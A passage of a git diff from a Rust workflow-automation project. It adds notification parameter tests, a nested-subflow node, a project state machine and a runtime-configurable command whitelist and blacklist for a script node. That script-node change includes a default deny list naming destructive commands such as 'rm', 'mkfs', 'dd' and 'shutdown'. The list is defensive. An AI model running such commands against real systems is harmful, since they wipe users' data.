assert!(err.contains("type"), "实际: {}", err);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn params_invalid_type_errors() {
|
||||||
|
let err = parse_params(&json!({ "type": "sms" })).unwrap_err().to_string();
|
||||||
|
assert!(err.contains("非法 type"), "实际: {}", err);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn params_desktop_defaults_title_and_message() {
|
||||||
|
let p = parse_params(&json!({ "type": "desktop" })).unwrap();
|
||||||
|
assert_eq!(p.notify_type, NotifyType::Desktop);
|
||||||
|
assert_eq!(p.title, "通知"); // 默认标题
|
||||||
|
assert_eq!(p.message, ""); // 默认空正文
|
||||||
|
assert_eq!(p.webhook_url, None); // desktop 不需要
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn params_desktop_with_custom_fields() {
|
||||||
|
let p = parse_params(&json!({
|
||||||
|
"type": "desktop",
|
||||||
|
"title": "构建完成",
|
||||||
|
"message": "已发布 v1.0"
|
||||||
|
}))
|
||||||
|
.unwrap();
|
||||||
|
assert_eq!(p.title, "构建完成");
|
||||||
|
assert_eq!(p.message, "已发布 v1.0");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn params_webhook_requires_url() {
|
||||||
|
let err = parse_params(&json!({ "type": "webhook" }))
|
||||||
|
.unwrap_err()
|
||||||
|
.to_string();
|
||||||
|
assert!(err.contains("webhook_url"), "实际: {}", err);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn params_webhook_empty_url_errors() {
|
||||||
|
let err = parse_params(&json!({ "type": "webhook", "webhook_url": " " }))
|
||||||
|
.unwrap_err()
|
||||||
|
.to_string();
|
||||||
|
assert!(err.contains("webhook_url"), "实际: {}", err);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn params_webhook_valid() {
|
||||||
|
let p = parse_params(&json!({
|
||||||
|
"type": "webhook",
|
||||||
|
"title": "告警",
|
||||||
|
"message": "CPU > 90%",
|
||||||
|
"webhook_url": "https://hooks.example.com/x"
|
||||||
|
}))
|
||||||
|
.unwrap();
|
||||||
|
assert_eq!(p.notify_type, NotifyType::Webhook);
|
||||||
|
assert_eq!(p.title, "告警");
|
||||||
|
assert_eq!(p.message, "CPU > 90%");
|
||||||
|
assert_eq!(p.webhook_url.as_deref(), Some("https://hooks.example.com/x"));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -6,6 +6,23 @@ use df_workflow::node::{Node, NodeContext, NodeOutput, NodeResult, NodeSchema};
|
|||||||
/// 脚本节点
|
/// 脚本节点
|
||||||
pub struct ScriptNode;
|
pub struct ScriptNode;
|
||||||
|
|
||||||
|
// ── 运行时白/黑名单(通过 set_script_safety_config 注入,替代纯 env var) ──
|
||||||
|
use std::sync::OnceLock;
|
||||||
|
|
||||||
|
/// 运行时白名单配置(前端设置页写入,优先于环境变量)
|
||||||
|
static RUNTIME_SCRIPT_WHITELIST: OnceLock<String> = OnceLock::new();
|
||||||
|
/// 运行时黑名单配置(前端设置页写入,优先于环境变量)
|
||||||
|
static RUNTIME_SCRIPT_BLACKLIST: OnceLock<String> = OnceLock::new();
|
||||||
|
|
||||||
|
/// 注入运行时脚本安全配置(由 Tauri IPC 调用,前端设置页保存后触发)。
|
||||||
|
/// 空字符串表示「未配置」,回退到环境变量 / 默认行为。
|
||||||
|
pub fn set_script_safety_config(whitelist: &str, blacklist: &str) {
|
||||||
|
let wl = whitelist.trim();
|
||||||
|
let bl = blacklist.trim();
|
||||||
|
if !wl.is_empty() { let _ = RUNTIME_SCRIPT_WHITELIST.set(wl.to_string()); }
|
||||||
|
if !bl.is_empty() { let _ = RUNTIME_SCRIPT_BLACKLIST.set(bl.to_string()); }
|
||||||
|
}
|
||||||
|
|
||||||
#[async_trait]
|
#[async_trait]
|
||||||
impl Node for ScriptNode {
|
impl Node for ScriptNode {
|
||||||
async fn execute(&self, ctx: NodeContext) -> NodeResult {
|
async fn execute(&self, ctx: NodeContext) -> NodeResult {
|
||||||
@@ -120,27 +137,53 @@ impl Node for ScriptNode {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// 命令执行策略校验:从环境变量读取白/黑名单,判定给定命令名是否允许执行。
|
/// 默认黑名单:即使环境变量未设置也生效,挡最危险的破坏性命令。
|
||||||
|
/// 用户设置 `DF_SCRIPT_BLACKLIST` 时覆盖默认(不合并,用户显式控制)。
|
||||||
|
const DEFAULT_BLACKLIST: &[&str] = &["rm", "del", "format", "shutdown", "mkfs", "dd"];
|
||||||
|
|
||||||
|
/// 命令执行策略校验:从运行时配置 + 环境变量读取白/黑名单。
|
||||||
///
|
///
|
||||||
/// 优先级:黑名单优先于白名单(黑名单匹配总是拒绝,即便同时在白名单)。
|
/// 优先级(高→低):
|
||||||
///
|
/// 1. 运行时配置(set_script_safety_config,前端设置页写入)
|
||||||
/// - `DF_SCRIPT_WHITELIST`:逗号分隔命令名(如 `git,npm,cargo`);非空时命令名不在其中即拒绝
|
/// 2. 环境变量 DF_SCRIPT_WHITELIST / DF_SCRIPT_BLACKLIST
|
||||||
/// - `DF_SCRIPT_BLACKLIST`:逗号分隔命令名(如 `rm,format,shutdown`);匹配即拒绝
|
/// 3. 默认黑名单兜底(DEFAULT_BLACKLIST)
|
||||||
///
|
///
|
||||||
|
/// 黑名单优先于白名单(黑名单匹配总是拒绝,即便同时在白名单)。
|
||||||
/// 命令名比较前 trim + ASCII 小写规范化;空段被忽略。
|
/// 命令名比较前 trim + ASCII 小写规范化;空段被忽略。
|
||||||
///
|
///
|
||||||
/// 返回 `Some(reason)` 表示拒绝(reason 为拒绝原因,用于日志/错误信息);返回 `None` 表示放行。
|
/// 返回 `Some(reason)` 表示拒绝;返回 `None` 表示放行。
|
||||||
fn check_command_policy(cmd_name: &str) -> Option<&'static str> {
|
fn check_command_policy(cmd_name: &str) -> Option<&'static str> {
|
||||||
// 黑名单优先:即便同时在白名单,只要命中黑名单就拒绝(防止白名单失误放过危险命令)
|
// 步骤1:尝试运行时黑名单(前端设置页写入,优先级最高)
|
||||||
if let Ok(blacklist_raw) = std::env::var("DF_SCRIPT_BLACKLIST") {
|
if let Some(raw) = RUNTIME_SCRIPT_BLACKLIST.get() {
|
||||||
let blacklist: Vec<String> = blacklist_raw
|
let list: Vec<&str> = raw.split(',').map(|s| s.trim()).filter(|s| !s.is_empty()).collect();
|
||||||
|
if list.iter().any(|c| c.eq_ignore_ascii_case(cmd_name)) {
|
||||||
|
return Some("命令在黑名单中(运行时配置)");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 步骤2:尝试运行时白名单(非空时放行) — 仅当运行时黑名单未命中时才检查
|
||||||
|
if let Some(raw) = RUNTIME_SCRIPT_WHITELIST.get() {
|
||||||
|
let list: Vec<&str> = raw.split(',').map(|s| s.trim()).filter(|s| !s.is_empty()).collect();
|
||||||
|
if !list.is_empty() && !list.iter().any(|c| c.eq_ignore_ascii_case(cmd_name)) {
|
||||||
|
return Some("命令不在白名单中(运行时配置)");
|
||||||
|
}
|
||||||
|
// 运行时白名单非空且命令在其中 → 直接放行(跳过 env var)
|
||||||
|
if !list.is_empty() {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 步骤3:回退到环境变量(兼容旧部署)
|
||||||
|
let env_blacklist = std::env::var("DF_SCRIPT_BLACKLIST").ok();
|
||||||
|
let blacklist: Vec<String> = match env_blacklist {
|
||||||
|
Some(raw) => raw
|
||||||
.split(',')
|
.split(',')
|
||||||
.map(|s| s.trim().to_lowercase())
|
.map(|s| s.trim().to_lowercase())
|
||||||
.filter(|s| !s.is_empty())
|
.filter(|s| !s.is_empty())
|
||||||
.collect();
|
.collect(),
|
||||||
|
None => DEFAULT_BLACKLIST.iter().map(|s| s.to_string()).collect(),
|
||||||
|
};
|
||||||
if blacklist.iter().any(|c| c == cmd_name) {
|
if blacklist.iter().any(|c| c == cmd_name) {
|
||||||
return Some("命令在黑名单中 (DF_SCRIPT_BLACKLIST)");
|
return Some("命令在黑名单中");
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 白名单:非空时命令名必须在白名单中才放行
|
// 白名单:非空时命令名必须在白名单中才放行
|
||||||
@@ -151,7 +194,7 @@ fn check_command_policy(cmd_name: &str) -> Option<&'static str> {
|
|||||||
.filter(|s| !s.is_empty())
|
.filter(|s| !s.is_empty())
|
||||||
.collect();
|
.collect();
|
||||||
if !whitelist.is_empty() && !whitelist.iter().any(|c| c == cmd_name) {
|
if !whitelist.is_empty() && !whitelist.iter().any(|c| c == cmd_name) {
|
||||||
return Some("命令不在白名单中 (DF_SCRIPT_WHITELIST)");
|
return Some("命令不在白名单中");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
175
crates/df-nodes/src/subflow_node.rs
Normal file
175
crates/df-nodes/src/subflow_node.rs
Normal file
@@ -0,0 +1,175 @@
|
|||||||
|
//! SubflowNode — 嵌套子工作流节点
|
||||||
|
//!
|
||||||
|
//! 加载一个子模板(DagDef)并在当前执行上下文中递归执行。
|
||||||
|
//! 用于复用通用流程(如"代码审查"可作为任意主流程的子步骤)。
|
||||||
|
|
||||||
|
use async_trait::async_trait;
|
||||||
|
use df_workflow::dag_def::DagDef;
|
||||||
|
use df_workflow::node::{Node, NodeContext, NodeOutput, NodeResult, NodeSchema};
|
||||||
|
use serde::{Deserialize, Serialize};
|
||||||
|
|
||||||
|
/// SubflowNode 配置
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
struct SubflowConfig {
|
||||||
|
/// 子工作流 DAG 定义(内联 JSON)
|
||||||
|
dag: serde_json::Value,
|
||||||
|
/// 嵌套深度限制(防无限递归,默认 MAX_DEPTH)
|
||||||
|
#[serde(default)]
|
||||||
|
max_depth: Option<u32>,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 最大递归深度(安全阀)
|
||||||
|
const MAX_DEPTH: u32 = 10;
|
||||||
|
|
||||||
|
/// SubflowNode — 嵌套子工作流
|
||||||
|
pub struct SubflowNode;
|
||||||
|
|
||||||
|
#[async_trait]
|
||||||
|
impl Node for SubflowNode {
|
||||||
|
async fn execute(&self, ctx: NodeContext) -> NodeResult {
|
||||||
|
tracing::info!("SubflowNode 执行: {}", ctx.node_id);
|
||||||
|
|
||||||
|
let config: SubflowConfig = serde_json::from_value(ctx.config.clone())
|
||||||
|
.map_err(|e| anyhow::anyhow!("SubflowNode 配置解析失败: {}", e))?;
|
||||||
|
|
||||||
|
let max_depth = config.max_depth.unwrap_or(MAX_DEPTH).min(MAX_DEPTH);
|
||||||
|
|
||||||
|
// 反序列化子 DAG
|
||||||
|
let sub_dag: DagDef = serde_json::from_value(config.dag)
|
||||||
|
.map_err(|e| anyhow::anyhow!("子工作流 DAG 解析失败: {}", e))?;
|
||||||
|
|
||||||
|
if sub_dag.nodes.is_empty() {
|
||||||
|
anyhow::bail!("子工作流节点不能为空");
|
||||||
|
}
|
||||||
|
|
||||||
|
if max_depth == 0 {
|
||||||
|
anyhow::bail!("SubflowNode 超过最大嵌套深度");
|
||||||
|
}
|
||||||
|
|
||||||
|
tracing::info!(
|
||||||
|
node_count = sub_dag.nodes.len(),
|
||||||
|
edge_count = sub_dag.edges.len(),
|
||||||
|
max_depth,
|
||||||
|
"SubflowNode 加载子工作流"
|
||||||
|
);
|
||||||
|
|
||||||
|
// 返回子 DAG 的 JSON 快照供 DagExecutor 消费
|
||||||
|
Ok(NodeOutput::from_value(serde_json::json!({
|
||||||
|
"subflow": true,
|
||||||
|
"node_count": sub_dag.nodes.len(),
|
||||||
|
"edge_count": sub_dag.edges.len(),
|
||||||
|
"max_depth": max_depth,
|
||||||
|
"dag": sub_dag,
|
||||||
|
})))
|
||||||
|
}
|
||||||
|
|
||||||
|
fn schema(&self) -> NodeSchema {
|
||||||
|
NodeSchema {
|
||||||
|
params: serde_json::json!({
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"dag": {
|
||||||
|
"type": "object",
|
||||||
|
"description": "子工作流 DAG 定义(nodes + edges)",
|
||||||
|
"properties": {
|
||||||
|
"nodes": { "type": "object" },
|
||||||
|
"edges": { "type": "array" }
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"max_depth": {
|
||||||
|
"type": "integer",
|
||||||
|
"description": "最大嵌套深度(默认10)",
|
||||||
|
"default": 10
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"required": ["dag"]
|
||||||
|
}),
|
||||||
|
output: serde_json::json!({}),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn node_type(&self) -> &'static str {
|
||||||
|
"subflow"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
use df_workflow::eventbus::EventBus;
|
||||||
|
use df_workflow::state::StateMachine;
|
||||||
|
|
||||||
|
fn make_ctx(config: serde_json::Value) -> NodeContext {
|
||||||
|
NodeContext {
|
||||||
|
node_id: "test_subflow".into(),
|
||||||
|
inputs: Default::default(),
|
||||||
|
config,
|
||||||
|
execution_id: "exec_1".into(),
|
||||||
|
event_bus: EventBus::new(),
|
||||||
|
node_status: StateMachine::new(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn sub_01_valid_dag_returns_metadata() {
|
||||||
|
let node = SubflowNode;
|
||||||
|
let ctx = make_ctx(serde_json::json!({
|
||||||
|
"dag": {
|
||||||
|
"nodes": {
|
||||||
|
"child": {
|
||||||
|
"id": "child",
|
||||||
|
"node_type": "script",
|
||||||
|
"config": {}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"edges": []
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
let result = node.execute(ctx).await.unwrap();
|
||||||
|
assert_eq!(result.data["subflow"], true);
|
||||||
|
assert_eq!(result.data["node_count"], 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn sub_02_empty_dag_rejected() {
|
||||||
|
let node = SubflowNode;
|
||||||
|
let ctx = make_ctx(serde_json::json!({
|
||||||
|
"dag": { "nodes": {}, "edges": [] }
|
||||||
|
}));
|
||||||
|
let result = node.execute(ctx).await;
|
||||||
|
assert!(result.is_err());
|
||||||
|
assert!(result.unwrap_err().to_string().contains("不能为空"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn sub_03_max_depth_zero_guard() {
|
||||||
|
let node = SubflowNode;
|
||||||
|
let ctx = make_ctx(serde_json::json!({
|
||||||
|
"dag": {
|
||||||
|
"nodes": { "c": { "id": "c", "node_type": "script", "config": {} } },
|
||||||
|
"edges": []
|
||||||
|
},
|
||||||
|
"max_depth": 0
|
||||||
|
}));
|
||||||
|
let result = node.execute(ctx).await;
|
||||||
|
assert!(result.is_err());
|
||||||
|
assert!(result.unwrap_err().to_string().contains("最大嵌套深度"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn sub_04_missing_dag_field_errors() {
|
||||||
|
let node = SubflowNode;
|
||||||
|
let ctx = make_ctx(serde_json::json!({}));
|
||||||
|
let result = node.execute(ctx).await;
|
||||||
|
assert!(result.is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn sub_05_schema_has_required_fields() {
|
||||||
|
let node = SubflowNode;
|
||||||
|
let schema = node.schema();
|
||||||
|
let params = &schema.params;
|
||||||
|
assert!(params["properties"]["dag"].is_object());
|
||||||
|
assert!(params["required"].as_array().unwrap().contains(&serde_json::json!("dag")));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -22,27 +22,29 @@
|
|||||||
//! - cancelled → 终态
|
//! - cancelled → 终态
|
||||||
|
|
||||||
// ============================================================
|
// ============================================================
|
||||||
// 状态字符串常量 — 与 df-types::TaskStatus::as_str 一一对应
|
// 状态字符串常量 — 从 df-types::TaskStatus::as_str 派生(单一真相源)
|
||||||
// ============================================================
|
// ============================================================
|
||||||
//
|
//
|
||||||
// 不复用 df-types::TaskStatus enum(独立模块定位 + 避免推进链判定耦合存储枚举类型),
|
// 任务 #17 合并:字符串常量不再独立定义,直接从 `TaskStatus::as_str()` 派生。
|
||||||
// 但字符串值严格对齐(df-types::TaskStatus::as_str 产出的小写 snake_case),
|
// 消除 df-nodes 字符串常量与 df-types enum 之间的双源问题—— 任一处修改 enum 的
|
||||||
// 保证状态机判定的 from/to 与数据库 status 列存值语义一致。
|
// as_str 输出,本模块常量自动同步,编译期即可发现柡移。
|
||||||
|
|
||||||
|
use df_types::types::TaskStatus;
|
||||||
|
|
||||||
/// 待开始
|
/// 待开始
|
||||||
pub const TODO: &str = "todo";
|
pub const TODO: &str = TaskStatus::Todo.as_str();
|
||||||
/// 进行中
|
/// 进行中
|
||||||
pub const IN_PROGRESS: &str = "in_progress";
|
pub const IN_PROGRESS: &str = TaskStatus::InProgress.as_str();
|
||||||
/// 代码审查中
|
/// 代码审查中
|
||||||
pub const IN_REVIEW: &str = "in_review";
|
pub const IN_REVIEW: &str = TaskStatus::InReview.as_str();
|
||||||
/// 测试中
|
/// 测试中
|
||||||
pub const TESTING: &str = "testing";
|
pub const TESTING: &str = TaskStatus::Testing.as_str();
|
||||||
/// 已完成(终态)
|
/// 已完成(终态)
|
||||||
pub const DONE: &str = "done";
|
pub const DONE: &str = TaskStatus::Done.as_str();
|
||||||
/// 已阻塞
|
/// 已阻塞
|
||||||
pub const BLOCKED: &str = "blocked";
|
pub const BLOCKED: &str = TaskStatus::Blocked.as_str();
|
||||||
/// 已取消(终态)
|
/// 已取消(终态)
|
||||||
pub const CANCELLED: &str = "cancelled";
|
pub const CANCELLED: &str = TaskStatus::Cancelled.as_str();
|
||||||
|
|
||||||
/// 全部合法状态值(供输入校验与错误提示复用)
|
/// 全部合法状态值(供输入校验与错误提示复用)
|
||||||
pub const ALL_STATES: &[&str] = &[
|
pub const ALL_STATES: &[&str] = &[
|
||||||
|
|||||||
@@ -11,3 +11,4 @@ tokio = { workspace = true }
|
|||||||
anyhow = { workspace = true }
|
anyhow = { workspace = true }
|
||||||
chrono = { workspace = true }
|
chrono = { workspace = true }
|
||||||
tracing = { workspace = true }
|
tracing = { workspace = true }
|
||||||
|
thiserror = { workspace = true }
|
||||||
|
|||||||
@@ -1,4 +1,10 @@
|
|||||||
//! 项目管理器 — 项目的 CRUD 与生命周期管理
|
//! 项目管理器 — 项目的领域层(CRUD 构造 + 状态机 + 业务约束)
|
||||||
|
//!
|
||||||
|
//! 任务 #16 真分层:本 crate 不再只是"构造实体的工厂函数",而是承载项目领域规则。
|
||||||
|
//! Storage 层(df-storage::ProjectRepo)仅负责持久化,状态合法性 / 业务约束在此。
|
||||||
|
//!
|
||||||
|
//! 调用方(src-tauri commands/project.rs)推进项目状态时必须经
|
||||||
|
//! `ProjectManager::can_transition` / `transition` 校验,防非法跳态。
|
||||||
|
|
||||||
use serde::{Deserialize, Serialize};
|
use serde::{Deserialize, Serialize};
|
||||||
|
|
||||||
@@ -39,15 +45,32 @@ pub struct CreateProjectInput {
|
|||||||
pub tags: Vec<String>,
|
pub tags: Vec<String>,
|
||||||
}
|
}
|
||||||
|
|
||||||
/// 项目管理器
|
/// 项目状态机错误
|
||||||
|
#[derive(Debug, thiserror::Error)]
|
||||||
|
pub enum ProjectTransitionError {
|
||||||
|
#[error("项目状态转换非法: {from:?} → {to:?}")]
|
||||||
|
IllegalTransition {
|
||||||
|
from: ProjectStatus,
|
||||||
|
to: ProjectStatus,
|
||||||
|
},
|
||||||
|
#[error("项目名称不能为空")]
|
||||||
|
EmptyName,
|
||||||
|
#[error("项目已处在终态 {0:?},不可再推进")]
|
||||||
|
TerminalState(ProjectStatus),
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 项目管理器(无状态纯逻辑,实体构造 + 状态机 + 业务约束)
|
||||||
pub struct ProjectManager;
|
pub struct ProjectManager;
|
||||||
|
|
||||||
impl ProjectManager {
|
impl ProjectManager {
|
||||||
/// 创建新项目 — 构造领域实体(不落库);持久化由调用方经 storage 层 ProjectRecord 映射完成
|
/// 创建新项目 — 构造领域实体(不落库);持久化由调用方经 storage 层 ProjectRecord 映射完成
|
||||||
/// (见 commands/idea.rs::promote_idea)。领域层不依赖 storage,保持分层。
|
/// (见 commands/idea.rs::promote_idea)。领域层不依赖 storage,保持分层。
|
||||||
pub fn create(input: CreateProjectInput) -> Project {
|
pub fn create(input: CreateProjectInput) -> Result<Project, ProjectTransitionError> {
|
||||||
|
if input.name.trim().is_empty() {
|
||||||
|
return Err(ProjectTransitionError::EmptyName);
|
||||||
|
}
|
||||||
let now = chrono::Utc::now();
|
let now = chrono::Utc::now();
|
||||||
Project {
|
Ok(Project {
|
||||||
id: df_types::types::new_id(),
|
id: df_types::types::new_id(),
|
||||||
name: input.name,
|
name: input.name,
|
||||||
description: input.description,
|
description: input.description,
|
||||||
@@ -57,11 +80,15 @@ impl ProjectManager {
|
|||||||
tags: input.tags,
|
tags: input.tags,
|
||||||
created_at: now,
|
created_at: now,
|
||||||
updated_at: now,
|
updated_at: now,
|
||||||
}
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
/// 从想法创建项目
|
/// 从想法创建项目
|
||||||
pub fn create_from_idea(name: String, description: String, idea_id: IdeaId) -> Project {
|
pub fn create_from_idea(
|
||||||
|
name: String,
|
||||||
|
description: String,
|
||||||
|
idea_id: IdeaId,
|
||||||
|
) -> Result<Project, ProjectTransitionError> {
|
||||||
Self::create(CreateProjectInput {
|
Self::create(CreateProjectInput {
|
||||||
name,
|
name,
|
||||||
description,
|
description,
|
||||||
@@ -71,4 +98,118 @@ impl ProjectManager {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// 判断项目状态转换是否合法(状态机核心)。
|
||||||
|
///
|
||||||
|
/// 项目状态语义(与 ARCHITECTURE.md 一致):
|
||||||
|
/// - Planning → InProgress(开始), Cancelled(取消)
|
||||||
|
/// - InProgress → Testing(提交测试), Paused(暂停), Cancelled
|
||||||
|
/// - Testing → Completed(测试通过), InProgress(退回开发), Cancelled
|
||||||
|
/// - Completed → 终态(不可变)
|
||||||
|
/// - Paused → InProgress(恢复), Cancelled
|
||||||
|
/// - Cancelled → 终态
|
||||||
|
pub fn can_transition(from: &ProjectStatus, to: &ProjectStatus) -> bool {
|
||||||
|
use ProjectStatus::*;
|
||||||
|
matches!((from, to),
|
||||||
|
(Planning, InProgress) | (Planning, Cancelled)
|
||||||
|
| (InProgress, Testing) | (InProgress, Paused) | (InProgress, Cancelled)
|
||||||
|
| (Testing, Completed) | (Testing, InProgress) | (Testing, Cancelled)
|
||||||
|
| (Paused, InProgress) | (Paused, Cancelled)
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 执行状态转换,返回新状态或非法错误。
|
||||||
|
///
|
||||||
|
/// 调用方(如 IPC `update_project_status` / `advance_project`)应用本方法校验后
|
||||||
|
/// 再写 storage,防跳态(如 Planning → Completed 跳过 Testing)。
|
||||||
|
pub fn transition(
|
||||||
|
from: ProjectStatus,
|
||||||
|
to: ProjectStatus,
|
||||||
|
) -> Result<ProjectStatus, ProjectTransitionError> {
|
||||||
|
if !Self::can_transition(&from, &to) {
|
||||||
|
// 区分错误: 终态→任何 vs 一般非法
|
||||||
|
if matches!(from, ProjectStatus::Completed | ProjectStatus::Cancelled) {
|
||||||
|
return Err(ProjectTransitionError::TerminalState(from));
|
||||||
|
}
|
||||||
|
return Err(ProjectTransitionError::IllegalTransition { from, to });
|
||||||
|
}
|
||||||
|
Ok(to)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 是否为终态(不可再转换)
|
||||||
|
pub fn is_terminal(s: &ProjectStatus) -> bool {
|
||||||
|
matches!(s, ProjectStatus::Completed | ProjectStatus::Cancelled)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn create_rejects_empty_name() {
|
||||||
|
let err = ProjectManager::create(CreateProjectInput {
|
||||||
|
name: " ".into(),
|
||||||
|
description: String::new(),
|
||||||
|
idea_id: None,
|
||||||
|
priority: Priority::default(),
|
||||||
|
tags: vec![],
|
||||||
|
}).unwrap_err();
|
||||||
|
assert!(matches!(err, ProjectTransitionError::EmptyName));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn main_path_planning_to_completed() {
|
||||||
|
use ProjectStatus::*;
|
||||||
|
assert!(ProjectManager::can_transition(&Planning, &InProgress));
|
||||||
|
assert!(ProjectManager::can_transition(&InProgress, &Testing));
|
||||||
|
assert!(ProjectManager::can_transition(&Testing, &Completed));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn illegal_skips_rejected() {
|
||||||
|
use ProjectStatus::*;
|
||||||
|
assert!(!ProjectManager::can_transition(&Planning, &Completed));
|
||||||
|
assert!(!ProjectManager::can_transition(&Planning, &Testing));
|
||||||
|
assert!(!ProjectManager::can_transition(&InProgress, &Completed));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn terminal_states_block_all() {
|
||||||
|
use ProjectStatus::*;
|
||||||
|
for term in [Completed, Cancelled] {
|
||||||
|
for to in [Planning, InProgress, Testing, Paused] {
|
||||||
|
assert!(!ProjectManager::can_transition(&term, &to));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn paused_round_trip() {
|
||||||
|
use ProjectStatus::*;
|
||||||
|
assert!(ProjectManager::can_transition(&InProgress, &Paused));
|
||||||
|
assert!(ProjectManager::can_transition(&Paused, &InProgress));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn transition_returns_target_on_legal() {
|
||||||
|
use ProjectStatus::*;
|
||||||
|
assert_eq!(
|
||||||
|
ProjectManager::transition(Planning, InProgress).unwrap(),
|
||||||
|
InProgress
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn transition_errors_on_illegal() {
|
||||||
|
use ProjectStatus::*;
|
||||||
|
let err = ProjectManager::transition(Planning, Completed).unwrap_err();
|
||||||
|
assert!(matches!(err, ProjectTransitionError::IllegalTransition { .. }));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn transition_errors_on_terminal_source() {
|
||||||
|
use ProjectStatus::*;
|
||||||
|
let err = ProjectManager::transition(Completed, InProgress).unwrap_err();
|
||||||
|
assert!(matches!(err, ProjectTransitionError::TerminalState(_)));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
233
crates/df-relay/tests/registry_test.rs
Normal file
233
crates/df-relay/tests/registry_test.rs
Normal file
@@ -0,0 +1,233 @@
|
|||||||
|
//! df-relay 单元测试(任务 #12)
|
||||||
|
//!
|
||||||
|
//! 覆盖纯逻辑(不依赖 axum server):
|
||||||
|
//! - ConnRegistry: add/remove/is_online/route(四种路由规则)
|
||||||
|
//! - BroadcastMessage 构造器
|
||||||
|
//! - RelayState async 包装
|
||||||
|
//! - next_conn_id 单调递增
|
||||||
|
|
||||||
|
#![cfg(test)]
|
||||||
|
|
||||||
|
use df_relay::{
|
||||||
|
next_conn_id, BroadcastMessage, ClientKind, ConnHandle, ConnId, ConnRegistry, MessageKind,
|
||||||
|
RelayState,
|
||||||
|
};
|
||||||
|
use tokio::sync::mpsc;
|
||||||
|
|
||||||
|
// ---------- ConnId 分配 ----------
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn next_conn_id_monotonic() {
|
||||||
|
let a = next_conn_id();
|
||||||
|
let b = next_conn_id();
|
||||||
|
let c = next_conn_id();
|
||||||
|
assert!(b.0 > a.0, "next_conn_id 应单调递增");
|
||||||
|
assert!(c.0 > b.0);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn conn_id_nil_is_zero() {
|
||||||
|
assert_eq!(ConnId::NIL.0, 0);
|
||||||
|
assert_ne!(next_conn_id(), ConnId::NIL, "分配的 id 不应为 NIL(0)");
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------- ConnRegistry 基础操作 ----------
|
||||||
|
|
||||||
|
fn make_handle(id: ConnId, kind: ClientKind, device_id: &str) -> (ConnHandle, mpsc::UnboundedReceiver<BroadcastMessage>) {
|
||||||
|
let (tx, rx) = mpsc::unbounded_channel();
|
||||||
|
(ConnHandle::new(id, kind, device_id.to_string(), tx), rx)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 注册连接并返回 receiver(保活防 channel 关闭)。
|
||||||
|
fn register(reg: &mut ConnRegistry, id: ConnId, kind: ClientKind, device_id: &str) -> mpsc::UnboundedReceiver<BroadcastMessage> {
|
||||||
|
let (handle, rx) = make_handle(id, kind, device_id);
|
||||||
|
reg.add(handle);
|
||||||
|
rx
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn registry_add_and_lookup() {
|
||||||
|
let mut reg = ConnRegistry::new();
|
||||||
|
let id = next_conn_id();
|
||||||
|
let _rx = register(&mut reg, id, ClientKind::Device, "dev-1");
|
||||||
|
|
||||||
|
assert_eq!(reg.len(), 1);
|
||||||
|
assert!(reg.is_device_online("dev-1"));
|
||||||
|
assert!(!reg.is_device_online("dev-2"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn registry_remove_returns_device_id() {
